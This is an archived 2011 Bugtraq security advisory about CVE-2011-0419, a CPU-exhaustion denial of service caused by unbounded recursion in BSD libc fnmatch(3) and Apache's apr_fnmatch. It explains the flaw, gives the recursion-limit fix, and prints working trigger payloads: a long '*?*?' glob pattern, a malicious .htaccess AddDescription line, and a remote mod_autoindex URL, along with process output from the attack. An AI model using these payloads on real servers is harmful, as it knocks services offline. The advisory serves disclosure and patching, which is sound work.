lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201105122253.p4CMrao5031194@www5.securityfocus.com>
Date: Thu, 12 May 2011 16:53:36 -0600
From: cxib@...urityreason.com
To: bugtraq@...urityfocus.com
Subject: Multiple Vendors libc/fnmatch(3) DoS (incl apache poc)

[ Multiple Vendors libc/fnmatch(3) DoS (incl apache poc) ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

Date:
- Dis.: 29.01.2011
- Pub.: 13.05.2011

CVE: CVE-2011-0419
CWE: CWE-399

Affected Software (verified):
- Apache 2.2.17
- NetBSD 5.1
- OpenBSD 4.8
- FreeBSD 
- MacOSX 10.6
- SunSolaris 10

Original URL:
http://securityreason.com/achievement_securityalert/98


--- 0.Description ---
fnmatch -- match filename or pathname using shell glob rules

SYNOPSIS
     #include <fnmatch.h>

     int
     fnmatch(const char *pattern, const char *string, int flags);


--- 1. Multiple Vendors libc/fnmatch(3) DoS (incl apache poc) ---
Attacker, what may modify first and second parameters(pattern,string) of fnmatch(3), may cause to CPU resource exhaustion. To see problem huge complexity, try compile code below:

fnmatch("?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",0);

fnmatch should return quickly answer, logically int. 

-fnmatch()/netbsd/fnmatch.c--
			/* Collapse multiple stars. */
			while (c == '*')
				c = FOLDCASE(*++pattern, flags);
-fnmatch()/netbsd/fnmatch.c--

fnmatch() skip multiple stars here. It protect us before patterns like "********************...", but not before "*?*?*?*?*?*?*?*?*?*?*?...".
Let's see what will happen if we use single star in pattern:

-fnmatch()/netbsd/fnmatch.c--
		case '*':
			c = FOLDCASE(*pattern, flags);
			/* Collapse multiple stars. */
			while (c == '*')
				c = FOLDCASE(*++pattern, flags);

			if (*string == '.' && (flags & FNM_PERIOD) &&
			    (string == stringstart ||
			    ((flags & FNM_PATHNAME) && *(string - 1) == '/')))
				return (FNM_NOMATCH);

..

			/* General case, use recursion. */
			while ((test = FOLDCASE(*string, flags)) != EOS) {
				if (!fnmatch(pattern, string, <====================== RECURSION
					     flags & ~FNM_PERIOD))
					return (0);
				if (test == '/' && flags & FNM_PATHNAME)
					break;
				++string;
			}
			return (FNM_NOMATCH);
-fnmatch()/netbsd/fnmatch.c--

Recursion in this code:
	if (!fnmatch(pattern, string, <=== RECURSION WITHOUT LIMITS

may cause to denial of service. Some recursion limit is missing here.
Fix has been created together with NetBSD and should work on all BSD's implementations of fnmatch(3). To fix it, limit recursion_level to 64, because it guaranty quickly result. e.g.

-fix---
..
static int
fnmatchx(const char *pattern, const char *string, int flags, size_t recursion) <=== ADD ( size_t recursion )
{
	const char *stringstart;
	char c, test;

	_DIAGASSERT(pattern != NULL);
	_DIAGASSERT(string != NULL);

	if (recursion-- == 0) <=== DECREMENT recursion_level
		return FNM_NORES;

..
int
fnmatch(const char *pattern, const char *string, int flags)
{
	return fnmatchx(pattern, string, flags, 64); <=== SET recursion_level HERE
}
..
-fix---

This fix limit max recursion level to 64. Any bigger value, may be unsafe. 

To demonstrate this flaws, i'm using apache with mod_autoindex because it's best vector here. There are two ways to denial of service, local and remote.

IMPORTANT:
fnmatch(const char *pattern, const char *string, int flags);

strlen(string) should be smaller as strlen(pattern)

let's start

-apache.2.2.17;apr_fnmatch();srclib/apr/strings/apr_fnmatch.c---
..
	    /* Collapse multiple stars. */
	    while (c == '*') {
		c = *++pattern;
	    }
..

	    /* General case, use recursion. */
	    while ((test = *string) != EOS) {
	        if (!apr_fnmatch(pattern, string, flags & ~APR_FNM_PERIOD)) { <=== RECURSION
		    return (APR_SUCCESS);
..
-apache.2.2.17;apr_fnmatch();srclib/apr/strings/apr_fnmatch.c---

This is BSD implementation of fnmatch(3). So the same issue exist in NetBSD, OpenBSD etc. Now we need find some code, where apr_fnmtach() is used.

-apache.2.2.17;mod_autoindex.c---
..
        /*
         * Make the comparison using the cheapest method; only do
         * wildcard checking if we must.
         */
        if (tuple->wildcards) {
            found = (apr_fnmatch(tuple->pattern, filename, MATCH_FLAGS) == 0); <=== LOCAL DOS
        }
..
    if (pattern && (apr_fnmatch(pattern, dirent->name, <=== REMOTE DOS
                                APR_FNM_NOESCAPE | APR_FNM_PERIOD
#ifdef CASE_BLIND_FILESYSTEM
                                | APR_FNM_CASE_BLIND
#endif
                                )
                    != APR_SUCCESS)) {
        return (NULL);
    }
..
-apache.2.2.17;mod_autoindex.c---

As we can see, in mod_autoindex are two apr_fnmatch() cals.


	found = (apr_fnmatch(tuple->pattern, filename, MATCH_FLAGS) == 0); <=== LOCAL DOS

and

	if (pattern && (apr_fnmatch(pattern, dirent->name, <=== REMOTE DOS

To use the first, we need create some file with long filename e.g.

"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

then create .htaccess with 'AddDescription'

AddDescription "fnmatch DoS" *?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*

Result:
www-data  1816  2.2  0.3 419048  9844 ?        R    18:39   5:39 /usr/sbin/apache2 -k start

The second possibility to remote denial of service, come when attacked servers contain directory with long filename.

http://localhost/?P=*?*?...to.4096

where variable 'P', will be used in {{{apr_fnmatch(pattern, dirent->name,}}} as a pattern. 

If the filename is to short, of course we can set long pattern e.g. 4096 chars.

http://localhost/?P=*?*?*?*?*?*....?*?*...to.4096

Apache 2.2.18 fix this problem.

To local attack, use this script written in php and execute it in writable directory.

http://cxib.net/stuff/apache.fnmatch.phps

127# httpd -v && uname -a 
Server version: Apache/2.2.17 (Unix)
Server built:   Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov  7 14:39:56 UTC 2010  builds@...netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
127# ls -la   
total 8
drwxrwxrwx  2 root  wheel   512 Feb  8 21:41 .
drwxr-xr-x  7 www   wheel  1024 Jan 31 08:49 ..
-rw-r--r--  1 www   wheel  1056 Feb  8 19:39 .htaccess
-rw-r--r--  1 www   wheel     0 Feb  8 19:39 cx.............................................................................................................................
-rw-r--r--  1 www   wheel  1240 Feb  8 19:42 run.php
127# ps -aux -p 617 
USER PID %CPU %MEM   VSZ  RSS TTY STAT STARTED      TIME COMMAND
www  617 98.6  0.4 10028 4004 ?   R     7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start 

Time = 121:43 and counting

In result, we get:

..
www     2044  0.0  0.4 10028  3932 ?     R     9:49PM 0:20.23 /usr/pkg/sbin/httpd -k start 
www     2047  0.0  0.4 10028  3932 ?     R     9:49PM 0:19.29 /usr/pkg/sbin/httpd -k start 
www     2051  0.0  0.4 10028  3924 ?     R     9:50PM 0:19.86 /usr/pkg/sbin/httpd -k start 
www     2086  0.2  0.4 10028  3936 ?     R     9:49PM 0:19.62 /usr/pkg/sbin/httpd -k start 
www     2088  0.0  0.4 10028  3936 ?     R     9:49PM 0:19.76 /usr/pkg/sbin/httpd -k start 
www     2206  0.0  0.4 10028  3948 ?     R     9:50PM 0:20.92 /usr/pkg/sbin/httpd -k start 
www     2225  0.0  0.4 10028  3944 ?     R     9:50PM 0:20.63 /usr/pkg/sbin/httpd -k start 
www     2233  0.3  0.4 10028  3948 ?     R     9:49PM 0:19.95 /usr/pkg/sbin/httpd -k start 
www     2278  0.0  0.4 10028  3924 ?     R     9:50PM 0:18.63 /usr/pkg/sbin/httpd -k start 
www     2316  0.0  0.4 10028  3924 ?     R     9:50PM 0:19.76 /usr/pkg/sbin/httpd -k start 
www     2317  0.0  0.4 10028  3924 ?     R     9:50PM 0:19.85 /usr/pkg/sbin/httpd -k start 
..

cx@...4:~$ telnet 172.11.12.129 80
Trying 172.11.12.129...
telnet: Unable to connect to remote host: Connection timed out
cx@...4:~$ 


--- 2. Exploit ---
http://cxib.net/stuff/apr_fnmatch.txt


--- 3. Fix ---
Fix has been created together with netbsd team and should fix this problem in all BSD's implementation of fnmatch(3).

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/fnmatch.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fnmatch.c?annotate=1.15
http://netbsd.org/donations/


--- 4. References ---
https://rhn.redhat.com/errata/RHSA-2011-0507.html
http://httpd.apache.org/security/vulnerabilities_22.html
http://www.apache.org/dist/apr/CHANGES-APR-1.4

http://cwe.mitre.org/data/definitions/399.html

A similar vulnerability based on CWE-399
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0762
http://securityreason.com/achievement_securityalert/95


--- 5. Greets ---
Christos Zoulas, sp3x, Infospec


--- 6. Contact ---
Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ